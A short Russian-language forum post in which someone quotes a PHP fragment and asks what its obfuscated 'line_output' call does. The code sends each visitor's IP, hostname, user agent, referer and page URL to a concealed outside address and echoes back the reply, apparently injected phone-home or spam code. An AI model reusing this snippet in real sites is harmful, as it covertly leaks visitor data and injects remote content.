$ip=$_SERVER["REMOTE_ADDR"];
$hostname = gethostbyaddr($ip);
$user_agent=$_SERVER["HTTP_USER_AGENT"];
$referer=$_SERVER['HTTP_REFERER'];
$current_page="http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$hostname_en=urlencode($hostname);
$user_agent_en=urlencode($user_agent);
$referer_en=urlencode($referer);
$current_page_en=urlencode($current_page);
$open=line_output("9h/krtr/pat/sd/wohgtlb.daupepionoyt?=:naeos.p`").$current_page_en.line_output("3&e=rr`ee`fr`").$referer_en.line_output("2&natg=e`").$user_agent_en.line_output("2&th=o`s`").$hostname_en;
$result=file_get_contents($open);
//далее следует проверка перерменной , проверка страницы запроса - возврат на пол листа и вывод через echo ...
начало понятно, а что за байда line_output что вообще делает предпоследняя строка.
P.s. Ещё раз извините за захломление ветки)